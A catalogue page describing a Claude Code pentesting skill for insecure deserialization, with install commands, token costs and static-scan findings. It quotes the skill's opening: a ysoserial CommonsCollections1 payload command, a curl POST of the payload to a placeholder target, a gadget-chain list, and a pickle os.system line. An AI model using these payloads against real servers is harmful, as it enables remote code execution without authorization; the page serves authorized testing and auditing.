deserialize

deserialize is a skill for Claude Code from PentesterFlow/agent. It costs 96 tokens per session (1,773 once invoked), scanned B, original, Apache-2.0.

A security testing guide for insecure deserialization, a flaw where an application rebuilds objects from attacker-controlled data and may run unintended code while doing so.

In plain words
What is it for?
Use it to recognize Java, .NET, Python, PHP, Node.js, YAML, JSON, or BSON serialized data and test suitable gadget chains or custom payloads in an authorized assessment.
Why use it?
It helps identify the data format and determine whether crafted serialized input could trigger dangerous behavior on the server.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to recognize Java, .NET, Python, PHP, Node.js, YAML, JSON, or BSON serialized data and test suitable gadget chains or custom payloads in an authorized assessment.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/pentesterflow/agent/deserialize
About the project

PentesterFlow is a terminal-based AI assistant for authorized penetration testing and bug hunting, guiding analysts through reconnaissance, testing, evidence gathering, and reporting while requiring human approval for sensitive actions. Security engineers use it with local or hosted language models and real security tools, and the catalogue add-ons extend its workflows.

PentesterFlow/agent · 1,470 stars · on GitHub · pentesterflow.com

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PentesterFlow/agent --skill deserialize
Clone the repo
git clone --depth 1 https://github.com/PentesterFlow/agent

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for deserialize

README.md
[![agentmods](https://agentmods.dev/badge/skills/pentesterflow/agent/deserialize/github.svg)](https://agentmods.dev/skills/pentesterflow/agent/deserialize)
Your own site
<a href="https://agentmods.dev/skills/pentesterflow/agent/deserialize"><img src="https://agentmods.dev/badge/skills/pentesterflow/agent/deserialize/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for deserialize

Your own site · 80×15
<a href="https://agentmods.dev/skills/pentesterflow/agent/deserialize"><img src="https://agentmods.dev/badge/skills/pentesterflow/agent/deserialize.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 96 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,773 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 2 findings, up to medium

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • medium Data Exfiltration · line 42
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Rogue Agent · line 48
    Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.
    Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00096 $0.01773
Opus 5.5 $0.00038 $0.00709
Sonnet 5.5 $0.00019 $0.00355
Haiku 4.5 $0.00010 $0.00177

Measured 3mo ago against content hash c04cd1a670c9, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

deserialize scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ('id > /tmp/proof',))
skills/deserialize/SKILL.md · 151 lines

How it starts

The opening of the file, as written. The whole thing — 151 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Insecure deserialization playbook

You suspect a server is deserializing attacker-influenced data. RCE is on the table — but only if you ship the right gadget chain.

Execution rule: use real captured parameters, cookies, keys, and callback hosts before running commands. Never write literal placeholders such as <KEY> or <endpoint> to files; if key material or a sample blob is missing, ask once.

1. Fingerprint the format

Magic Format
rO0 (base64 of \xac\xed) Java serialized
\xac\xed\x00\x05 (raw) Java serialized
AAEAAAD///// (base64) or \x00\x01\x00\x00\x00\xff\xff\xff\xff .NET BinaryFormatter
__viewstate / __VIEWSTATE cookie or form field ASP.NET ViewState (often LosFormatter/BinaryFormatter underneath)
gASV (base64 of \x80\x05\x95), gAR, gAP (\x80\x04, \x80\x03) Python pickle
O: (e.g. O:8:"stdClass":0:{}) PHP serialize
_$$ND_FUNC$$_ / IIFE patterns Node node-serialize
!! tags inside YAML / !!python/object YAML with type resolution (PyYAML, SnakeYAML)
BSON / BinData MongoDB BSON — deserialization paths usually safe; check anyway

Source of the data matters: cookie, form field, file upload, query param, message queue, RPC framing.

2. Java

Default gadget toolkit: ysoserial (https://github.com/frohoff/ysoserial).

# Generate a payload using the CommonsCollections1 chain to run `id`
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# Test it
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"

Chains worth iterating through (depends on classpath):

  • CommonsCollections1..7 — Apache Commons Collections.
  • Spring1, Spring2.
  • JRMPClient / JRMPListener — when the only thing that deserializes is a JRMP endpoint; chain with a hosted JRMP listener.
  • URLDNS — leak-only; useful as a confirm primitive (DNS hit proves deserialization happens).

Read the full file on GitHub · 151 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3mo ago First seen · 151 lines · 96 tokens per session scan B c04cd1a670c9

Subscribe to this mod's changes

deserialize is a skill published in the GitHub repository PentesterFlow/agent (1,470 stars, last pushed 3mo ago), licensed Apache-2.0. It adds 96 tokens to every session and 1,773 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it B with 3 findings (sends data to an external url, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

deserialize compared with skills from other repositories

deserialize next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
deserializePentesterFlow/agentSkill1.5k3mo agoApache-2.0B96Claude Code
shannonKeygraphHQ/shannonSkill52k4d agoAGPL-3.0A51Claude Code
osint0dayInc/pwnSkill1023d agoMITA21Claude Code
penetration-testing0dayInc/pwnSkill1023d agoMITA26Claude Code
pwn-ai-agent-curriculum0dayInc/pwnSkill1023d agoMITA23Claude Code
pwn-ai-agent-loop0dayInc/pwnSkill1023d agoMITA20Claude Code
pwn-ai-agent-reward0dayInc/pwnSkill1023d agoMITA21Claude Code